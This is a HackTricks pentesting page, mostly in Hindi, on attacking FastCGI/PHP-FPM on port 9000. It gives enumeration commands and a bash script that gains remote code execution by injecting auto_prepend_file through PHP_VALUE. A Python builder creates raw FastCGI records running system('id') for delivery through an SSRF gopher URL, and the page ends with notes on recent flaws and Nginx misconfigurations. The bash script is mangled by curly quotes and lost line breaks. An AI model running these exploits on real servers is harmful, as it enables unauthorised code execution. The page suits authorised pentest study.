9000 Pentesting FastCGI

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

यदि आप जानना चाहते हैं कि FastCGI क्या है तो निम्नलिखित पेज देखें:

disable_functions bypass - php-fpm/FastCGI

डिफ़ॉल्ट रूप से FastCGI port 9000 पर चलता है और nmap द्वारा पहचाना नहीं जाता है। आमतौर पर FastCGI केवल localhost पर ही सुनता है।

Enumeration / त्वरित जाँच

  • Port scan: nmap -sV -p9000 <target> (अक्सर “unknown” service दिखेगी; मैन्युअली टेस्ट करें).
  • Probe FPM status page: SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000 (default php-fpm pm.status_path).
  • Find reachable sockets via SSRF: यदि कोई HTTP सेवा SSRF के लिए शोषण के योग्य है, तो FastCGI listener तक पहुँचने के लिए gopher://127.0.0.1:9000/_... payloads आज़माएँ.
  • Nginx misconfigs: cgi.fix_pathinfo=1 with fastcgi_split_path_info errors आपको static files में /.php जोड़ने और PHP तक पहुँचने देती हैं (code exec via traversal).

RCE

FastCGI को arbitrary code execute करवाना काफी आसान है:

PHP payload को आगे जोड़ने वाला FastCGI request भेजें ```bash #!/bin/bash

PAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path

HOST=$1 B64=$(echo “$PAYLOAD”|base64)

for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT done

</details>

या आप निम्नलिखित python script का उपयोग भी कर सकते हैं: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

### SSRF/gopher to FastCGI (जब 9000 सीधे पहुँचा न जा सके)

यदि आपके पास केवल एक **SSRF** primitive है, तो आप gopher स्कीम का उपयोग करके FastCGI को हिट कर सकते हैं और एक पूरा FastCGI request तैयार कर सकते हैं। उदाहरण payload builder:

<details>
<summary>gopher FastCGI RCE payload बनाएं और भेजें</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"

def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content

def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
payload += rec(5, body)                                # FCGI_STDIN

s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))

Convert payload to URL-safe base64/percent-encoding and send via gopher://host:9000/_<payload> in your SSRF.

हाल के मुद्दों पर नोट्स

  • libfcgi <= 2.4.4 integer overflow (2024): FastCGI रिकॉर्ड्स में crafted nameLen/valueLen 32‑bit बिल्ड्स (embedded/IoT में आम) पर overflow कर सकते हैं, और जब FastCGI socket पहुँचने योग्य हो (प्रत्यक्ष रूप से या SSRF के माध्यम से) तो इससे heap RCE हो सकता है।
  • PHP-FPM log manipulation (CVE-2024-9026): जब catch_workers_output = yes हो, FastCGI अनुरोध भेज सकने वाले हमलावर प्रति लॉग लाइन अधिकतम 4 बाइट तक truncate या inject कर सकते हैं ताकि संकेत मिटाए जा सकें या logs को poison किया जा सके।
  • Classic Nginx + cgi.fix_pathinfo misconfig: यह अभी भी व्यापक रूप से देखा जाता है; अगर fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; को file existence checks के बिना उपयोग किया जाए तो किसी भी .php पर समाप्त होने वाले path का execution हो जाएगा, जिससे path traversal या source overwrite प्रकार के gadgets संभव हो जाते हैं।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें